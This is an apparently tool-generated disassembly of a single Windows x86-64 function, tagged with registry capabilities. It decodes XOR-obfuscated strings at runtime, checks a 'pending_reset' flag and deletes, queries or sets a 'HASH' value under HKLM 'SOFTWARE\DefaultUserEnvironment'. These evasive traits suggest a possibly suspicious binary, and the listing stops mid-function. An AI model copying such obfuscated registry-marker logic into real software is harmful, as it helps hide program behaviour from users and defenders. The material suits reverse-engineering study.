Function at 0x140049bf0
Capabilities:
Delete registry value
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe00]
sub rsp, 0xf00
mov rax, qword [0x1400fe700]
xor rax, rsp
mov qword [rbp + 0xdf0], rax
movzx r12d, cl
mov byte [rbp + 0x848], cl
xor r14d, r14d
mov dword [rsp + 0x50], r14d
test cl, cl
jne 0x140049d2f
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140049c60
imul rax, rax, 0x64
jmp 0x140049c7b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffb57e837fe
movabs rdi, 0x7fffffffffffffff
cmp rax, rcx
jg 0x140049ca7
movabs rcx, 0x4a817c800
add rcx, rax
mov qword [rbp - 0x70], rcx
jmp 0x140049cab
mov qword [rbp - 0x70], rdi
lea rcx, [rbp - 0x70]
call fcn.140058a30
mov eax, 1
xchg dword [0x140105468], eax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140049cdd
imul rax, rax, 0x64
jmp 0x140049cf8
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffc46535fe
cmp rax, rcx
jg 0x140049d1e
add rax, 0x3b9aca00
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140058a30
jmp 0x140049d3a
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x70]
call fcn.140058a30
jmp 0x140049d3a
mov eax, 1
xchg dword [0x140105468], eax
mov qword [rbp + 0x290], r14
movdqa xmm0, xmmword [0x1400ea1f0]
movdqu xmmword [rbp + 0x2a0], xmm0
mov word [rbp + 0x290], r14w
mov dword [rsp + 0x50], 2
lea rcx, [rbp + 0x290]
call fcn.14003e220
test eax, eax
jne 0x14004c035
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x290]
call fcn.14003c6e0
nop
mov rcx, rax
call fcn.1400498c0
test al, al
sete bl
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140049dda
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049dd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049dd5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b0], 0
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x140049e41
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049e3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049e3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
test bl, bl
je 0x140049e55
mov eax, reloc.WS2_32.dll_setsockopt
xchg dword [0x140105468], eax
jmp 0x14004bfae
lea rcx, [rbp + 0x928]
call fcn.140063b80
nop
cmp byte [rbp + 0x948], 0
jne 0x140049e7b
mov eax, reloc.WS2_32.dll_sendto
xchg dword [0x140105468], eax
jmp 0x14004bfa2
movabs rax, 0xa31a43507c312bbb
mov qword [rbp - 0x60], rax
movabs rax, 0x9da3d80feed482df
mov qword [rbp - 0x58], rax
movabs r13, 0xcc6e1c3e155644d7
mov qword [rbp + 0xcc0], r13
movabs r15, 0x9da3d80feebae7b4
mov qword [rbp + 0xcc8], r15
movdqa xmm0, xmmword [rbp + 0xcc0]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp + 0x1f8], rax
mov byte [rbp + 0x1f0], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x950], xmm0
lea ecx, [rax + 0x20]
call fcn.1400c8f08
mov rbx, rax
lea rax, [rbp + 0x849]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x958], rbx
mov qword [rbx], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
lea rax, [rbp - 0x60]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140049f22
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.140003ef0
nop
mov qword [rbp + 0x1f8], rbx
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x200], rax
mov byte [rbp + 0x208], 1
mov byte [rbp + 0x210], 0
xor eax, eax
mov qword [rbp + 0x218], rax
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x210]
call fcn.140060250
lea rax, [rbp + 0x210]
mov qword [rbp + 0x220], rax
mov byte [rbp + 0x228], 1
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x310], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0x318], rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x270]
call fcn.140050350
lea rax, [rbp + 0x270]
mov qword [rbp + 0x280], rax
mov byte [rbp + 0x288], 1
lea rax, [rbp + 0x270]
mov qword [rbp + 0x320], rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x328], rax
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x8c0]
call fcn.140050350
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x270]
call fcn.1400c8f80
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x1f0]
call fcn.1400c8f80
movabs rax, 0xcc401c57152644b6
mov qword [rbp + 0x20], rax
movabs rax, 0x9dc7d86eeed5e7d8
mov qword [rbp + 0x28], rax
movabs rax, 0x6be7c832f9f6890c
mov qword [rbp + 0x30], rax
movabs rax, 0xf90b44507344d4e7
mov qword [rbp + 0x38], rax
mov qword [rbp + 0xc60], r13
mov qword [rbp + 0xc68], r15
movabs rax, 0x6b8bc81cf9848969
mov qword [rbp + 0xc70], rax
movabs rdi, 0xf90b44357332d48e
mov qword [rbp + 0xc78], rdi
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0xc60]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp + 0xc70]
movdqa xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r14w
lea rax, [rbp + 0x20]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14004a0f0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x1d0]
call fcn.140051f90
nop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x8c0]
call fcn.140050090
mov rbx, rax
movabs rax, 0xcc0b1c4d152344f8
mov qword [rbp + 0x40], rax
movabs rax, 0x9dd7d87ceee5e7c6
mov qword [rbp + 0x48], rax
movabs rax, 0x6bf8c869f9f08908
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0xc30], r13
mov qword [rbp + 0xc38], r15
movabs rax, 0x6b8bc81cf9848969
mov qword [rbp + 0xc40], rax
mov qword [rbp + 0xc48], rdi
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0xc30]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp + 0xc40]
movdqa xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x2d0], r14
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x2e8], 7
lea rax, [rbp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14004a1c0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2d0]
call fcn.140051f90
mov r9, rbx
lea r8, [rbp + 0x2d0]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x8f8]
call fcn.1400637e0
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x14004a23d
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a238
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a238
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 8
jb 0x14004a29f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a29a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a29a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
cmp byte [rbp + 0x920], 0
je 0x14004a6c3
cmp dword [rbp + 0x8f8], 0xc8
jne 0x14004a6c3
cmp qword [rbp + 0x910], 0
je 0x14004a6c3
mov qword [rbp + 0x438], r14
lea rax, [rbp + 0x400]
mov qword [rsp + 0x78], rax
mov byte [rbp + 0x870], 0
xor edx, edx
lea rcx, [rbp + 0x878]
call fcn.140051d40
nop
mov r15d, 4
mov dword [rsp + 0x50], r15d
lea rax, [rbp + 0x510]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x548], r14
mov rcx, qword [rbp + 0x438]
test rcx, rcx
je 0x14004a32f
mov rax, qword [rcx]
lea rdx, [rbp + 0x510]
call qword [rax]
mov qword [rbp + 0x548], rax
lea rcx, [rbp + 0x900]
mov rax, qword [rbp + 0x910]
cmp qword [rbp + 0x918], 0x10
jb 0x14004a353
mov rcx, qword [rbp + 0x900]
add rax, rcx
jmp 0x14004a35d
add rax, rcx
lea rcx, [rbp + 0x900]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rax
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rbp + 0x510]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x750]
call fcn.140058b60
nop
lea r8, [rbp + 0x870]
mov rcx, rax
call fcn.140054b90
nop
lea rcx, [rbp + 0x798]
call fcn.140054a00
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14004a3c8
mov rax, qword [rcx]
lea rdx, [rbp + 0x750]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0x788], r14
mov rcx, qword [rbp + 0x438]
test rcx, rcx
je 0x14004a3ee
mov rax, qword [rcx]
lea rdx, [rbp + 0x400]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 0x438], r14
mov edx, reloc.WS2_32.dll_listen
cmp byte [rbp + 0x870], 1
jne 0x14004a4ba
mov rax, qword [rbp + 0x878]
mov r13, qword [rax]
mov rbx, qword [r13 + 8]
mov r14, r13
cmp byte [rbx + 0x19], 0
jne 0x14004a479
mov r12d, edx
nop word [rax + rax]
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14004a432
mov rcx, qword [rcx]
mov r8, rdi
cmp rdi, r12
cmova r8, r12
lea rdx, str.pending_reset
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14004a5b9
js 0x14004a5c2
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14004a420
movzx r12d, byte [rbp + 0x848]
movabs rdi, 0xf90b44357332d48e
mov edx, reloc.WS2_32.dll_listen
cmp byte [r14 + 0x19], 0
jne 0x14004a4b7
lea rcx, [r14 + 0x20]
mov rbx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14004a492
mov rcx, qword [rcx]
mov r8, rbx
cmp rbx, 0xd
cmova r8, rdx
lea rdx, str.pending_reset
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14004a5cb
js 0x14004a5d5
xor r14d, r14d
xor bl, bl
test r15b, 1
je 0x14004a50c
and r15d, 0xfffffffe
mov dword [rsp + 0x50], r15d
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x14004a50c
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a507
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004a5b2
call fcn.1400c8f00
test bl, bl
je 0x14004a69c
mov qword [rbp + 0x190], r14
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.pending_reset
lea rcx, [rbp + 0x190]
call fcn.140003ef0
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x870]
call fcn.14004ff40
cmp byte [rax], 4
jne 0x14004bfde
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x14004a64c
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a647
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a647
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rdi, r12
jae 0x14004a456
mov rbx, qword [rbx + 0x10]
jmp 0x14004a45c
cmp rbx, 0xd
ja 0x14004a4b7
cmp r14, r13
je 0x14004a4b7
xor r14d, r14d
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], r14b
lea r8d, [r14 + 0xd]
lea rdx, str.pending_reset
lea rcx, [rbp + 0x1b0]
call fcn.140003ef0
nop
mov r15d, 5
mov dword [rsp + 0x50], r15d
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x870]
call fcn.14004ff40
cmp byte [rax], 4
jne 0x14004a4ba
mov bl, 1
jmp 0x14004a4bc
call fcn.1400c8f00
test bl, bl
je 0x14004a69c
lea rax, [rbp + 0x840]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREDefaultUserEnvironment
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004a691
lea rdx, str.HASH
mov rcx, qword [rbp + 0x840]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, 0x18
xchg dword [0x140105468], eax
movzx edx, byte [rbp + 0x870]
lea rcx, [rbp + 0x878]
call fcn.140051850
movabs r15, 0x9da3d80feebae7b4
movabs r13, 0xcc6e1c3e155644d7
lea rcx, [rbp + 0x8f8]
call fcn.14004f210
lea rcx, [rbp + 0x9d0]
call fcn.1400641c0
nop
cmp byte [rbp + 0x9f0], 0
jne 0x14004a6f5
mov eax, reloc.WS2_32.dll_sendto
xchg dword [0x140105468], eax
jmp 0x14004bf81
lea rcx, [rbp + 0x8d0]
call fcn.1400647b0
nop
cmp qword [rbp + 0x8e0], 0
jne 0x14004a71c
mov eax, socket
xchg dword [0x140105468], eax
jmp 0x14004bf74
lea rax, [rbp + 0x838]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREDefaultUserEnvironment
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004a7d2
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x880]
xor r8d, r8d
lea rdx, str.HASH
mov rcx, qword [rbp + 0x838]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x14004a7c5
mov eax, dword [rbp + 0x8e0]
inc eax
lea rcx, [rbp + 0x8d0]
cmp qword [rbp + 0x8e8], 0x10
cmovae rcx, qword [rbp + 0x8d0]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.HASH
mov rcx, qword [rbp + 0x838]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x838]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xcc6e1c5b723730a4
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r15
mov qword [rbp + 0x850], r13
mov qword [rbp + 0x858], r15
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x850]
movdqa xmmword [rbp - 0x50], xmm0
xor eax, eax
mov qword [rbp + 0x238], rax
mov byte [rbp + 0x230], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x850], xmm0
lea ecx, [rax + 0x20]
call fcn.1400c8f08
mov rbx, rax
lea rax, [rbp + 0x848]
mov qword [rbp + 0x850], rax
mov qword [rbp + 0x858], rbx
mov qword [rbx], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
lea rax, [rbp - 0x50]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14004a851
mov r8, rsi
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.140003ef0
nop
mov qword [rbp + 0x238], rbx
lea rax, [rbp + 0x230]
mov qword [rbp + 0x240], rax
mov byte [rbp + 0x248], 1
movabs rax, 0xcc6e6e5b71372bbb
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r15
mov qword [rbp + 0xd10], r13
mov qword [rbp + 0xd18], r15
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp - 0x40], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x880], rax
xor eax, eax
mov qword [rbp + 0x258], rax
mov byte [rbp + 0x250], 3
lea rax, [rbp + 0x84a]
mov qword [rbp + 0x838], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x850], xmm0
mov ecx, 1
call fcn.1400054a0
mov rcx, rax
call fcn.140004250
lea r8, [rbp + 0x838]
mov rdx, rax
lea rcx, [rbp + 0x850]
call fcn.1400603e0
nop
lea r8, [rbp + 0x880]
mov rdx, qword [rbp + 0x858]
call fcn.1400603f0
lea rcx, [rbp + 0x850]
call fcn.1400603d0
mov rbx, rax
lea rcx, [rbp + 0x850]
call fcn.140054af0
mov qword [rbp + 0x258], rbx
lea rax, [rbp + 0x250]
mov qword [rbp + 0x260], rax
mov byte [rbp + 0x268], 1
lea rax, [rbp + 0x230]
mov qword [rbp + 0x330], rax
lea rax, [rbp + 0x270]
mov qword [rbp + 0x338], rax
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x6d0]
call fcn.14004f280
nop
movabs rax, 0xa31a43507c312bbb
mov qword [rbp - 0x30], rax
movabs rax, 0x9da3d80feed482df
mov qword [rbp - 0x28], rax
mov qword [rbp + 0xc50], r13
mov qword [rbp + 0xc58], r15
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0xc50]
movdqa xmmword [rbp - 0x30], xmm0
lea rax, [rbp - 0x30]
mov qword [rbp + 0x838], rax
lea rdx, [rbp + 0x838]
lea rcx, [rbp + 0x550]
call fcn.140053520
nop
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x570]
call fcn.1400535d0
nop
lea rax, [rbp + 0x550]
mov qword [rbp + 0x340], rax
lea rax, [rbp + 0x590]
mov qword [rbp + 0x348], rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x6f0]
call fcn.14004f280
nop
movabs rax, 0x931a7f4b713936a7
mov qword [rbp - 0x20], rax
movabs rax, 0x9da3d80f8bd786da
mov qword [rbp - 0x18], rax
mov qword [rbp + 0xc80], r13
mov qword [rbp + 0xc88], r15
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [rbp - 0x20]
mov qword [rbp + 0x838], rax
lea rdx, [rbp + 0x838]
lea rcx, [rbp + 0x4d0]
call fcn.140053520
nop
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x4f0]
call fcn.1400535d0
nop
lea rax, [rbp + 0x4d0]
mov qword [rbp + 0x350], rax
lea rax, [rbp + 0x510]
mov qword [rbp + 0x358], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x710]
call fcn.14004f280
nop
movabs rax, 0xcc6e1c3e713f33bf
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r15
mov qword [rbp + 0xc90], r13
mov qword [rbp + 0xc98], r15
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rbp - 0x10], xmm0
lea rax, [rbp - 0x10]
mov qword [rbp + 0x838], rax
lea rdx, [rbp + 0x838]
lea rcx, [rbp + 0x590]
call fcn.140053520
nop
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x5b0]
call fcn.1400535d0
nop
lea rax, [rbp + 0x590]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x730]
call fcn.14004f280
nop
lea rax, [rbp + 0x6d0]
mov qword [rbp + 0x390], rax
lea rax, [rbp + 0x750]
mov qword [rbp + 0x398], rax
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x888]
call fcn.140050350
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x6d0]
call fcn.1400c8f80
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x590]
call fcn.1400c8f80
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x4d0]
call fcn.1400c8f80
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x550]
call fcn.1400c8f80
nop
lea r9, [fcn.14004c0b0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x230]
call fcn.1400c8f80
lea rax, [rbp + 0x610]
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x78], rax
movabs rax, 0xe11a725b61382b94
mov qword [rbp + 0x60], rax
movabs rax, 0xedc2f8358bca9ee0
mov qword [rbp + 0x68], rax
movabs rax, 0x4e2bc7d9aede519
mov qword [rbp + 0x70], rax
movabs rax, 0xf90b2a5a0058fbe0
mov qword [rbp + 0x78], rax
mov qword [rbp + 0xc10], r13
mov qword [rbp + 0xc18], r15
movabs rax, 0x6b8bc81cf9848969
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0xc28], rdi
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
pxor xmm1, xmmword [rbp + 0xc20]
movdqa xmmword [rbp + 0x70], xmm1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x3c0]
call fcn.140003e90
nop
lea rax, [rbp + 0x630]
mov qword [rbp + 0x840], rax
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x888]
call fcn.140050090
mov rsi, rax
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0x370], rax
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x378], rax
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x4a0]
call fcn.1400504e0
mov rdi, rax
movabs rax, 0xcc6e1c3e41050b87
mov qword [rbp], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0xca0], r13
mov qword [rbp + 0xca8], r15
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0xca0]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x630]
call fcn.140003e90
mov rbx, rax
movabs rax, 0xa80f73523b3f34b6
mov qword [rbp + 0xc0], rax
movabs rax, 0xb2c6ae66829495d1
mov qword [rbp + 0xc8], rax
movabs rax, 0x6b8bc81c91f0fc08
mov qword [rbp + 0xd0], rax
movabs rax, 0xf90b44357332d48e
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xdd0], r13
mov qword [rbp + 0xdd8], r15
movabs rcx, 0x6b8bc81cf9848969
mov qword [rbp + 0xde0], rcx
mov qword [rbp + 0xde8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xdd0]
movdqa xmmword [rbp + 0xc0], xmm0
movdqa xmm1, xmmword [rbp + 0xd0]
pxor xmm1, xmmword [rbp + 0xde0]
movdqa xmmword [rbp + 0xd0], xmm1
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x5f0]
call fcn.140003e90
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x980]
call fcn.140004590
nop
lea r9, [fcn.140003e00]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x3c0]
call fcn.1400c8f80
cmp byte [rbp + 0x9c0], 0
je 0x14004bf3f
mov eax, dword [0x140105468]
cmp eax, 0x18
je 0x14004bf4a
lea rax, [rbp + 0x6b0]
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x4b8]
mov qword [rsp + 0x78], rax
movabs rax, 0xe11a725b61382b94
mov qword [rbp + 0xa0], rax
movabs rax, 0xedc2f8358bca9ee0
mov qword [rbp + 0xa8], rax
movabs rax, 0x4e2bc7d9aede519
mov qword [rbp + 0xb0], rax
movabs rax, 0xf90b2a5a0058fbe0
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xcf0], r13
mov qword [rbp + 0xcf8], r15
movabs rax, 0x6b8bc81cf9848969
mov qword [rbp + 0xd00], rax
movabs rcx, 0xf90b44357332d48e
mov qword [rbp + 0xd08], rcx
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
pxor xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x3e0]
call fcn.140003e90
nop
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0x840], rax
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x888]
call fcn.140050090
mov rsi, rax
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x400]
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x4b8]
call fcn.1400504e0
mov rdi, rax
movabs rax, 0xcc6e1c3e41050b87
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r15
mov qword [rbp + 0xcb0], r13
mov qword [rbp + 0xcb8], r15
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0xcb0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x5d0]
call fcn.140003e90
mov rbx, rax
movabs rax, 0xa80f73523b3f34b6
mov qword [rbp + 0x80], rax
movabs rax, 0xb2c6ae66829495d1
mov qword [rbp + 0x88], rax
movabs rax, 0x6be5a7758af6ec1f
mov qword [rbp + 0x90], rax
movabs rax, 0xf90b44357332d48e
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xcd0], r13
mov qword [rbp + 0xcd8], r15
movabs rcx, 0x6b8bc81cf9848969
mov qword [rbp + 0xce0], rcx
mov qword [rbp + 0xce8], rax
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0xce0]
movdqa xmmword [rbp + 0x90], xmm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x690]
call fcn.140003e90
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
